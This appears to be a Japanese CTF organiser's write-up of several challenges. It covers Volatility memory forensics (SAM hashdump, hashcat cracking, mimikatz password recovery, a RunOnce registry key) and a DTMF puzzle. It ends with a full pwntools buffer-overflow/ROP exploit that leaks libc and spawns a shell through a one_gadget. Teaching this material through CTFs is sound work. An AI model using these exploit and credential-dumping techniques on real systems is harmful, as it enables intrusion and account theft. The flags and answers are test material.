alice's password
Alice losts her password... I lockyou alice's password https://drive.google.com/open?id=1OXU9szO2h5Y2iikByMKEBSwsEVchuFw- zip password is md5(alice's password)
問題について
メモリーダンプにおける一般的なハッシュダンプからのハッシュクラックです。
ハッシュクラックに使用するパスワードリストは問題文から
I lockyou(rockyou.txt) alice's password
を使用してもらうことを想定しました。
imageinfo
$ volatility_2.6_win64_standalone.exe -f memdump.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (C:\Users\Aqua\Desktop\volatility_2.6_win64_standalone\memdump.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a3c0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a3dd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-12-29 10:04:58 UTC+0000 Image local date and time : 2019-12-29 19:04:58 +0900
hivelist
$ volatility_2.6_win64_standalone.exe -f memdump.mem --profile=Win7SP1x64 hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xfffff8a00000d250 0x000000002d057250 [no name] 0xfffff8a000024010 0x000000002d4c2010 \REGISTRY\MACHINE\SYSTEM 0xfffff8a000052010 0x000000002d2f0010 \REGISTRY\MACHINE\HARDWARE 0xfffff8a0000ee370 0x000000007586b370 \SystemRoot\System32\Config\DEFAULT 0xfffff8a000f27010 0x0000000061400010 \Device\HarddiskVolume1\Boot\BCD 0xfffff8a001079410 0x0000000053e15410 \SystemRoot\System32\Config\SOFTWARE 0xfffff8a00139d010 0x0000000074a27010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0xfffff8a00142f010 0x0000000073a87010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0xfffff8a0019f0410 0x0000000061123410 \??\C:\System Volume Information\Syscache.hve 0xfffff8a001c99010 0x0000000070be5010 \??\C:\Users\Aqua\ntuser.dat 0xfffff8a001cae010 0x000000005a54f010 \??\C:\Users\Aqua\AppData\Local\Microsoft\Windows\UsrClass.dat 0xfffff8a006385010 0x00000000079e5010 \SystemRoot\System32\Config\SECURITY 0xfffff8a0063fa010 0x0000000077843010 \SystemRoot\System32\Config\SAM
dump sam and system.
$ volatility_2.6_win64_standalone.exe -f memdump.mem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0063fa010 > hash.txt Volatility Foundation Volatility Framework 2.6
$ cat hash.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Aqua:1000:aad3b435b51404eeaad3b435b51404ee:813ea107eccdab91a1b9c15b67693cb4::: Alice:1001:aad3b435b51404eeaad3b435b51404ee:19bf8c07d19ea196464115e443854654:::
hash crack
$ hashcat64.exe -m 1000 -a 0 -o cracked.txt hash.txt rockyou.txt hashcat (v5.1.0) starting... * Device #1: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch (snip)
$ cat cracked.txt 31d6cfe0d16ae931b73c59d7e0c089c0: 19bf8c07d19ea196464115e443854654:i<3orange.
unzip
- password : i<3orange.
- md5(i<3orange.)
- password : 4ea8006a6316aec310109caca152ff74
flag : ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}
Reference
https://www.aldeid.com/wiki/Volatility/Retrieve-password
cutecats
I'm browsing cute catz... Do you know my password?
問題について
I'm browsing cute catzからユーザがログインしていることが想定でき、cute catz(タイプミスではありません)からmimikatzを使用することを想定しました。
hint
./vol.py -f memdump.mem --profile=Win7SP1x64 iehistory Volatility Foundation Volatility Framework 2.6.1 ************************************************** Process: 2100 explorer.exe Cache type "URL " at 0x4116000 Record length: 0x300 Location: https://www.microsoft.com/ (snip) Process: 2100 explorer.exe Cache type "URL " at 0x43c7300 Record length: 0x180 Location: Visited: Aqua@http://www.bing.com/images/search?q=cute+catz&id=D1CEDCBAEAF429719AB8F828502D545A605C356C&FORM=IQFRBA Last modified: 2019-12-29 09:48:05 UTC+0000 Last accessed: 2019-12-29 09:48:05 UTC+0000 File Offset: 0x180, Data Offset: 0x0, Data Length: 0xdc
cutecats = mimikatz
mimikatz plugin
https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py
mimikatz
./vol.py -f memdump.mem --profile=Win7SP1x64 mimikatz Volatility Foundation Volatility Framework 2.6.1 Module User Domain Password -------- ---------------- ---------------- ---------------------------------------- wdigest Aqua WIN-O1AE35RFM94 ctrctf{Y0u_c4n_us3_m1m1katz} wdigest WIN-O1AE35RFM94$ WORKGROUP
flag : ctrctf{Y0u_c4n_us3_m1m1katz}
Reference
- http://www.cryptoverse.com/2016/06/mimikatz-volatility-plugin-on-mac.html
- http://poppycompass.hatenablog.jp/entry/2018/05/05/162035
once_again
Can you find registry?
問題について
一般的にマルウェア等が再起動されたあとも自己を起動させるように登録するレジストリのRun/RunOnce Keysを探す問題です。 想定シナリオとしてはonce registryでググるなどして
Run and RunOnce Registry Keys - Win32 apps | Microsoft Docs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
を確認する想定でした。
この問題は以下の2点が問題でした。
- ヒントとしてgenelary malware regist myselfを出す予定でしたが、即解かれてしまったのでsolveがある問題の後出しのヒントは不公平感がある。→誘導が少なくなった。
- 本来なら自己を登録するマルウェアをダンプさせて解析するという流れの予定でしたが、ダンプしたファイルを本番環境で実行され、参加者の環境が汚れる恐れがあるためこのような形式になりました。
imageinfo
$ volatility_2.6_win64_standalone.exe -f onceagain.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (C:\Users\Aqua\Desktop\volatility_2.6_win64_standalone\memdump.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c010a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c02d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-12-10 12:31:01 UTC+0000 Image local date and time : 2019-12-10 21:31:01 +0900
hivelist
$ volatility_2.6_win64_standalone.exe -f onceagain.mem --profile=Win7SP1x64 hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ------------------ ------------------ ---- 0xfffff8a001092010 0x0000000017750010 \SystemRoot\System32\Config\SOFTWARE 0xfffff8a00127e010 0x0000000010d2c010 \SystemRoot\System32\Config\SECURITY 0xfffff8a0012d7410 0x000000000e712410 \SystemRoot\System32\Config\SAM 0xfffff8a001399330 0x0000000014175330 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0xfffff8a001428010 0x00000000105de010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0xfffff8a00152a410 0x0000000014122410 \??\C:\Users\User\AppData\Local\Microsoft\Windows\UsrClass.dat 0xfffff8a001578010 0x000000000ade7010 \??\C:\Users\User\ntuser.dat 0xfffff8a00000f010 0x0000000026f3e010 [no name] 0xfffff8a000024010 0x0000000027549010 \REGISTRY\MACHINE\SYSTEM 0xfffff8a000067010 0x000000002778e010 \REGISTRY\MACHINE\HARDWARE 0xfffff8a0000f0010 0x000000000ab15010 \SystemRoot\System32\Config\DEFAULT 0xfffff8a000fa9010 0x0000000017e64010 \Device\HarddiskVolume1\Boot\BCD
printkey
$ volatility_2.6_win64_standalone.exe -f onceagain.mem --profile=Win7SP1x64 printkey -K "Microsoft\Windows\CurrentVersion\RunOnce" Volatility Foundation Volatility Framework 2.6 Legend: (S) = Stable (V) = Volatile ---------------------------- Registry: \SystemRoot\System32\Config\SOFTWARE Key name: RunOnce (S) Last updated: 2019-12-10 14:09:45 UTC+0000 Subkeys: Values: REG_SZ flag : (S) pgspgs{i0yng1y1gl_1f_hf3shy_zrz0elnanylf1f}
FLAG : ctfctf{v0lat1l1ty_1s_us3ful_mem0ryanalys1s}(prefix間違えましたごめんなさい)
Reference
https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/
prime_number
it's secret call...
https://youtu.be/-mEdbrioxqY
問題について
DTMFの問題です。wavファイルが与えられるためオンラインデコーダできれいにデコード出来ます。
detect dtmf
http://dialabc.com/sound/detect/
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
decode prime number cipher
https://www.dcode.fr/prime-numbers-cipher
password : PLEASEREMEMBERDTMF
unzip secret.zip
flag : ctrctf{d0_y0u_r3m3mb3r_dtmf?}
感想
モールス信号よりDTMFだよねって言う感じで一度没になった問題でしたがGoサインが出たので強行しました。
welcomechain
問題について
welcome問題です。 bofでripを取ったあとgotを引数にprintfを呼ぶことでlibc_baseを計算することができ、再度mainに処理を戻すことができ、libc上のone_gadgetsを呼ぶことでシェルが取れます。
from pwn import * def send_payload(payload): log.info("payload = %s" % repr(payload)) r.send(payload) return def sendline_payload(payload): log.info("payload = %s" % repr(payload)) r.sendline(payload) return def print_address(s, addr): log.info(s + ' : ' + hex(addr)) return binary = './welcomechain' host ='localhost' port = 2300 elf = ELF(binary) context.binary = binary # context.log_level = 'debug' if len(sys.argv) >= 2 and sys.argv[1] == 'r': # remote r = remote(host, port) libc = ELF('./libc.so.6') else: # local r = process(binary) libc = elf.libc # elf addr_plt_printf = elf.plt['printf'] addr_got_printf = elf.got['printf'] addr_symbols_main = elf.symbols['main'] # libc offset_printf = libc.symbols['printf'] ret = elf.search(asm('ret')).next() pop_rdi = elf.search(asm('pop rdi; ret')).next() ''' one_gadgets 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' print r.recvuntil('Please Input : ') payload = '' payload += b'A' * 40 payload += p64(ret) payload += p64(pop_rdi) payload += p64(addr_got_printf) payload += p64(addr_plt_printf) payload += p64(ret) payload += p64(elf.symbols['welcome']) sendline_payload(payload) print r.recvline() leaked = u64(r.recv(6).rstrip().ljust(8,'\x00')) print_address('printf_got', leaked) libc_base = leaked - offset_printf print_address('libc_base', libc_base) print r.recvuntil('Please Input : ') payload = '' payload += b'A' * 40 payload += p64(libc_base + 0x4f2c5) sendline_payload(payload) sleep(1) r.interactive()